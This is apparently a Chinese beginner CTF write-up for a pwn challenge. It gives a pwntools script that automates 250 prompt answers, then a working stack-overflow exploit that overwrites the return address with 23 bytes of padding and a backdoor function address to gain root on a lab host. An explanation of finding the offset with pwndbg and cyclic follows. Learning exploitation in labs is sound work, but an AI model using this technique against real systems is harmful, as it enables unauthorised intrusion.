pwn-tools first - 第一次 #
这里因为我也是第一次玩PWN的题目所以也是看群主的视频来学习 先看步骤后面总结会解释
然后我们NC下 试试发现是一个NC 这里要输入250次经过测试
这里你可以写PY脚本 也可以用 PWN
这里附上代码
from pwn import *
import re
r=remote("172.20.10.2",1337)
for i in range(250):
print(i)
a = r.recvuntil(b': ').decode()
print(a)
x = re.split('/[|/]',a)
r.sendline(x[1].encode())
r.interactive()
拿到密码得到SHELL
然后这里程序我们先把发送出来 然后IDEA反编译下
得到主函数然后左边有一个fun 函数点开看看
发现了要利用的函数因为主函数有一个gets没有检测输入个数我们利用下栈溢出
栈溢出代码如下
代码如下
from pwn import *
import re
r=remote("172.20.10.2",12345)
junk = b'A' * 23
fun = p64(0x401186)
payload = junk + fun
r.recvuntil(b'please input/n')
r.sendline(payload)
r.interactive()
拿到ROOT
我们拿到了ROOT我来解释下原理
当你不停的往这个数组放入数值时 满的时候他会到缓冲区拿去数据 我们就是来控制缓冲区的数据找到那个临界值爆发后我们控制的值 我们上面图算出来了是23
如何计算?
使用
pwndbg /opt/find_backdoor
r 然后输入一长串有规则数据生成可以使用代码
python3 -c "from pwn import cyclic; print(cyclic(100))"
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
然后我们放入进去
可以看爆出了 ret
下面那个6161686161616761是爆发值
然后我们使用工具来看偏移量是多少
python3 -c "from pwn import *; print(cyclic_find(0x6161686161616761))"
算出23 所以我们POC代码就是23个A加上函数地址
总结一下 #
1:从输入的哪一位开始,覆盖了返回地址(RIP)
2:当你利用栈溢出攻击程序时:你要精确填满前面的内容,刚好覆盖返回地址所以必须知道这个“偏移值”